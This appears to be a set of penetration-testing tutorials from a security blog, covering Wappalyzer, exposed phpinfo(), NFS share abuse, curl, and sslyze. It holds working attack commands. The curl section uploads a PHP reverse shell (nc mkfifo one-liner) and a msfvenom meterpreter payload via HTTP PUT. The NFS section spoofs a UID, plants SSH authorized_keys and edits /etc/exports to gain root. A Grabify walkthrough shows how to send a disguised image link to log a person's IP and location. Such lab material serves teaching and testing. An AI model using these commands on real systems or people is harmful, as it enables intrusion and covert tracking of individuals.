Wappalyzer is a web browser extension and online service that allows users to identify the technologies used on websites they visit. It provides information about the software frameworks, content management systems (CMS), programming languages, analytics tools, and other technologies employed by a website.
Here are some key features of Wappalyzer:
- Technology Identification: Wappalyzer scans websites and analyzes various aspects to identify the technologies being utilized. It can detect CMS platforms like WordPress, Drupal, or Joomla, as well as frameworks like React, Angular, or Laravel.
- Browser Extension: Wappalyzer is primarily available as a browser extension, supporting popular browsers such as Chrome, Firefox, and Edge. Once installed, the extension runs in the background and displays an icon or dropdown menu that reveals the technologies in use when visiting a website.
- Online Service: In addition to the browser extension, Wappalyzer offers an online service where users can enter a website URL manually to get technology information. This service is helpful for situations where the browser extension is not installed or available.
- Open Source: Wappalyzer is an open-source project, and its codebase is publicly available. This transparency allows for community contributions, improvements, and the development of custom integrations.
Wappalyzer is widely used by web developers, security professionals, marketers, and researchers to gather information about the technologies implemented on websites. It helps users understand the technological landscape of a site, which can be valuable for tasks such as competitor analysis, vulnerability assessments, or optimizing web development processes.
Please note that Wappalyzer relies on various detection techniques, including pattern matching, script analysis, and HTTP headers. While it is generally accurate, it may occasionally provide false positives or miss certain technologies due to factors like dynamic content loading or customized implementations.
Install & Use
1. Visit https://www.wappalyzer.com/apps/ to download the the extension according to the Browser
2. After selecting the browser type, in my case FireFox, I get redirected to (https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)
3. Install the plug in, and visit the website you want to scan
4. Run the plug in, by clicking the icon the browser
5. The plug in will show us the technologies used, also, some versions
phpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.
The official PHP documentation makes a recommendation to create a file that calls the phpinfo() function in order to test that the PHP installation was successful; it is a common mistake to forget to remove this file. The information leaked by the phpinfo() function includes physical paths, environment variables, and the full PHP configuration settings.
The phpinfo() is also a debugging tool as it consists of all the information a developer wants to know about a server. If anyone uploads the phpinfo() function to their webroot/index.php file, they can see their server’s configuration settings.
An attacker can obtain information such as:
- Exact PHP version.
- Exact OS and its version.
- Details of the PHP configuration.
- PHP compilation options
- PHP extensions
- Internal IP addresses.
- Server environment variables.
- Loaded PHP extensions and their configurations.
- HTTP headers
This information can help an attacker to gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.
Some methods also related to phpinfo
- phpinfo() Memory Limit
- phpinfo() Upload Max Filesize
- phpinfo() PHP Magic Quotes Gpc is On
- phpinfo() Open Base Directory Is Disabled
- PHP post_max_size show phpinfo()
Using Nmap NSE script (http-enum), we can discover if in root directory there is the presence of execution of phpinfo()
- nmap -sV --script http-enum -p 30455 192.168.226.147
1. Using Nikto we can also verify the existence of phpinfo()
- nikto -h 192.168.226.147:30455
Contents of PHPInfo
In this case by accessing the exposed phpinfo(), http://192.168.226.147:30455/phpinfo.php, we can gather the following:
1. System info
2. PHP Version
3. Some commands and system directories
4. PHP configuration directories
5. PHP features status
6. Curl information
7. Local server time
8. Json support
13. HTTP details
14. Server Hostname
16. PHP script file location
These are recommendations:
- Disable phpinfo() function on the application’s PHP configuration.
- Remove all the pages that call phpinfo() function.
This tutorial has been written to find out someone’s public IP using web images links. Note that the result depends on whether the person is using any VPN or spoofing their IP.
1. Upload an image to any image hosting site. In this case I will be using imgbb (https://imgbb.com/)
2. Choose a picture, then, click upload
3. Once completed, open the link that has been given
4. Opening that in a browser, it takes us to the image view
5. Right click on the image and click “Open image in a new tab”. Now we have access to the image itself
6. Copy the link in the URL bar, in my case
7. Now, we need to use an IP logger service, some are for free and others paid. I’d use (https://grabify.link/) . Enter the link to the image, and, click on create URL
8. Agree to the terms and conditions
9. We are now presented with the new Link information
Original URL = URL to image
New URL = URL that needs to be distributed
Access Link = Tracking the accesses
10. Since, the new URL is obviously showing this site, we need to know spoof it using URL shortener service. I’d use (https://bitly.com/)
11. The result is the new link
12. Now distribute that link to the target, once, they open it we will see an entry in https://grabify.link/ access link
13. Click on to see full details
Note: I’m using a VPN. But the overall idea is to track the public IP of the person that clicks on the spoofed image link.
14. Knowing the IP we can use a web service to find location per IP address, I’d use https://infosniper.net/
- Just enter the IP and search
- Click check
The Network File System (NFS) is a client/server application that lets a computer user view and optionally store and update files on a remote computer as though they were on the user's own computer. The NFS protocol is one of several distributed file system standards for network-attached storage (NAS).
NFS allows the user or system administrator to mount (designate as accessible) all or a portion of a file system on a server. The portion of the file system that is mounted can be accessed by clients with whatever privileges are assigned to each file (read-only or read-write). NFS uses Remote Procedure Calls (RPCs) to route requests between clients and servers.
Network File System versions 2 and 3 allow the User Datagram Protocol (UDP) running over an IP network to provide stateless network connections between clients and server, but NFSv4.2 requires use of the Transmission Control Protocol (TCP).
NFS advantages NFS is a low-cost solution for network file sharing that is easy to setup as it uses the existing IP infrastructure. A significant advantage of NFS is that it allows for central management, decreasing the need for added software and disk space on individual user systems.
The NFS configuration can be found at /etc/exports & /etc/lib/nfs/xtab
Note: Here we can see that /home/vulnix is shared.
If you mount a folder which contains files or folders only accesible by some user (by UID). You can create locally a user with that UID and using that user you will be able to access the file/folder.
1. To enumerate shares on the network you can use showmount command
- showmount -e 192.168.0.10
1. We can also use RPC protocol (port 111) to enumerate the port. RPC provides information between Unix based systems. Port is often probed, it can be used to fingerprint the Nix OS, and to obtain information about available services. Port used with NFS, NIS, or any rpc-based service.
1. To enumerate using rpcclient
- rpcclient -p 2049 -I 192.168.0.10
1. You can run the NSE scripts to enumerate the service
- nmap -sV --script=nfs-* 192.168.0.10
Note: If you see any NFS related ACL port open, see /etc/exports
/etc/exports: the access control list for filesystems which may be exported to NFS clients.
Mount the share
1. Create a new directory, I’d do /tmp/nfs, preferably with the authorized user
2. Knowing the partition location (/home/vulnix) mount it to the new directory /tmp/nfs,
- sudo mount -t nfs 192.168.0.10:/home/vulnix /tmp/nfs -nolock
2. If you try to access the location where this was mounted /tmp/nfs, it will be access denied. You need to add a similar user account locally
3. Add the user
NFS Client (try same UID)
- id vulnix
- sudo useradd -u 2008 -m -d /home/vulnix vulnix
- id vulnix
- ls -l /home
Note: also set the user password in this case “12345”
4. Change to the vulnix user and try to access the share.
- sudo su vulnix
- cd /tmp/nfs
- ls -la
5. Since this is a home directory, we can now generate an SSH key to log in as the user vulnix.
Generate SSH key-pair
1. first create a directory named .ssh, in the user home directory, it may already exist, the user can be any local user in the attacking machine, I’d do vry4n
2. Now give permissions only to the owner
- chmod 700 .ssh
- ls -ld .ssh
3. In your attacking machine, you can generate the ssh keys, in .ssh directory
- cd .ssh
- ssh-keygen -t rsa
- ls -la
4. Read the contents of the public key id_rsa.pub
5. As we know the remote partition is part of ‘vulnix’ home directory, so, we will create a new .ssh folder within it, and add the contents of the just created ‘id_rsa.pub’, to a new file named ‘authorized_keys’
- mkdir .ssh
- cd .ssh
- vi authorized_keys
6. So far we have done the following
- Mounted the NFS partition
- we discovered the partition is only accessed by a user ‘vulnix’
- we added a local user, with the same UID as in the remote victim server, we managed to access the partition
- we noticed this was a /home/vulnix directory
- since, we had write access, we created a /home/vulnix/.ssh folder
- created local keys on the attacking machines, and, copied the public key value ‘id_rsa.pub’ to /home/vulnix/.ssh as ‘authorized_keys’ file
7. Now we will try to log in using SSH
- ssh -i id_rsa firstname.lastname@example.org
8. Now we can see that we are in the remote machine as vulnix user
1. Being in the remote server, and having the ability to edit the config file /etc/exports. We can add there any other location, like /root, and do the same procedure to escalate to root.
Note: After the change to the config file, the server requires a reboot, so, this procedure is not recommended on live & running environments.
2. Open the /etc/exports file from any text editor. This time I’d use Nano, I will add the last line to give myself permission to read & access /root via NFS
- nano /etc/exports
- save & exit
3. Confirm the changes
4. Reboot the server, and then, check the NFS shares, in the image below, you can see the before and after changes
- showmount -e 192.168.0.16
5. Now, lets do the same procedures to mount the partition /root, being as root in the local machines
- mkdir /tmp/nfs_root
- mount -t nfs 192.168.0.16:/root /tmp/nfs_root -nolock
- cd nfs_root
- ls -la
6. Now, lets create the .ssh file in root home directory (/root) from nfs_root mount, lets use the same RSA public key, we used previously
- mkdir .ssh
- cd .ssh
- vi authorized_keys
- cat authorized_keys
7. Try to log in as root now
- ssh -i id_rsa email@example.com
- uname -a
curl, short for "Client for URLs", is a command line tool for transferring data using various protocols. This tool has applications in many household products such as tablets, printers, cars, routers, etc.
There is a vast amount of use-cases for curl, such as:
- FTP upload
- Proxy support
- SSL connections
- HTTP post
This tool also supports the use of all the following protocols: DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, and TFTP.
1. Basic help
2. Run a basic HTTP GET request
3. Return only the HTTP header
-I, --head = Show document info only
-v, --verbose = Make the operation more talkative
- curl -I https://vk9-sec.com
4. List the methods allowed
- curl -X OPTIONS http://192.168.0.105/test -v
5. Use a cookie
-b, --cookie <data|filename> = Send cookies from string/file
- curl localhost:8080/urlstuffhere -b "JSESSIONID=cookievalue"
6. Exploiting PUT method
The PUT method is particularly dangerous. If you upload arbitrary files within
the web root, the first target is to create a backdoor script on the server that will be executed by a server-side module, thereby giving the attacker full control of the application, and often the web server itself. For this example a will create a PHP reverse connection
- curl -X PUT -d '<?php echo shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.20 443 >/tmp/f"); ?>' http://192.168.0.6/test/reverse_shell.php -v
Having a listener on the Kali / Parrot machine waiting for the new file to be executed by visiting the page
- sudo nc -lvpn 443
- whoami && hostname
7. If DELETE method is available you can delete files
- curl -X DELETE http://192.168.0.6/test/rshell1.php -v
8. Check support for HTTP/2
- curl -I --http2 http://192.168.0.6 -v
curl PUT upload & Metasploit
1. Create a payload with MSFVenom
- msfvenom -l payloads | grep php
- msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=443 -f raw > reverse.php
- cat reverse.php
2. Start a listener in metasploit
- sudo msfdb init
- sudo msfconsole
- use exploit/multi/hlander
- set payload php/meterpreter/reverse_tcp
- set LHOST 192.168.0.13
- set LPORT 443
3. Another way to upload a file is using ‘-T’ option, When the server allows PUT method, we can place a file to a directory, also, the application need write permissions to that folder. You also may need to test different http versions
- curl -T reverse.php http://192.168.0.105/test/reverse1.php --http1.0
4. Since, we already started the listener, lets execute the script, by visiting the hosting page /test, we can see the script uploaded, click on it
5. You can also navigate straight to the script
6. Once the script is executed, we should receive the connection back
7. We could also start the script from CLI
- curl -X GET http://192.168.0.105/test/reverse1.php -v
It allows you to analyze the SSL/TLS configuration of a server by connecting to it, in order to detect various issues (bad certificate, weak cipher suites, Heartbleed, ROBOT, TLS 1.3 support, etc.).
It is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify misconfigurations affecting their SSL servers.
Key features include:
- Multi-processed and multi-threaded scanning (it’s fast)
- SSL 2.0/3.0 and TLS 1.0/1.1/1.2 compatibility
- Performance testing: session resumption and TLS tickets support
- Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more
- Server certificate validation and revocation checking through OCSP stapling
- Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP and FTP
- Support for client certificates when scanning servers that perform mutual authentication
- XML output to further process the scan results
For this example, we will analyze a website certificate as well as a self-signed certificate. To create a certificate visit. https://vk9-sec.com/how-to-create-a-self-signed-certificate-openssl/
1. To download the tool (it already comes installed in most security distros)
- git clone https://github.com/iSECPartners/sslyze.git
- ls -ld sslyze
You could also run these commands if you face any issues running the script
- pip install --upgrade setuptools
- php install --upgrade sslyze
2. Run basic help
-h, --help = show this help message and exit
3. Check for the tool version
--version = show program's version number and exit
4. Updade the trust stores
--update_trust_stores = Update the default trust stores used by SSLyze. The latest stores will be downloaded from https://github.com/nabla-c0d3/trust_stores_observatory.
- sudo sslyze --update_trust_stores
How run the application
1. Perform a basic scan on a website
--regular = Regular HTTPS scan; shortcut for --sslv2 --sslv3 --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 --reneg –resum --certinfo --hide_rejected_ciphers –compression --heartbleed --openssl_ccs --fallback --robot
- sslyze --regular www.vk9-sec.com
2. To save the results to file run
- sslyze --regular www.vk9-sec.com --json_out=results.json
- cat results.json
To write the file and don’t print anything on the screen use --quet
--quiet = Do not output anything to stdout; useful when using --json_out
- sslyze --regular www.vk9-sec.com --json_out=results.json --quiet
3. To check for a list of targets
--targets_in=TARGETS_IN = Read the list of targets to scan from the file TARGETS_IN. It should contain one host:port per line.
- vi sites.txt
- cat sites.txt (vk9-sec.com:443)
- sslyze --regular --targets_in=sites.txt
4. Run a slow and less aggressive test, but more accurate
- sslyze --regular www.vk9-sec.com --slow_connection
5. Scanning for some protocols at the target
--starttls=STARTTLS = Perform a StartTLS handshake when connecting to the target server(s).
- sslyze www.vk9-sec.com --starttls=auto
Types of scan
1. Scan for TLS 1.1 support
--tlsv1_1 = Test a server for TLS 1.1 support.
- sslyze www.vk9-sec.com --tlsv1_1
2. Test a server for the OpenSSL CCS Injection
- sslyze www.vk9-sec.com --openssl_ccs
3. Test a server for the TLS_FALLBACK_SCSV mechanism to prevent downgrade attacks.
- sslyze www.vk9-sec.com --fallback
4. Test a server for SSL 3.0 support.
- sslyze www.vk9-sec.com --sslv3
5. Test a server for the OpenSSL Heartbleed vulnerability.
- sslyze www.vk9-sec.com --heartbleed
6. Test a server for the ROBOT vulnerability.
- sslyze www.vk9-sec.com --robot
7. Test a server for the presence of security-related HTTP headers.
- sslyze www.vk9-sec.com --http_headers
8. Test a server for TLS 1.3 early data support.
- sslyze www.vk9-sec.com --early_data
9. Test a server for for insecure TLS renegotiation and client-initiated renegotiation.
- sslyze www.vk9-sec.com --reneg
10. Test a server for TLS compression support, which can be leveraged to perform a CRIME attack.
- sslyze www.vk9-sec.com --compression
11. Test a server for session resumption support using session IDs and TLS tickets.
- sslyze www.vk9-sec.com --resum
12. Test a server for TLS 1.3 support.
- sslyze www.vk9-sec.com --tlsv1_3
13. Test a server for SSL 2.0 support.
- sslyze www.vk9-sec.com --sslv2
14. Retrieve and analyze a server's certificate(s) to verify its validity.
- sslyze www.vk9-sec.com --certinfo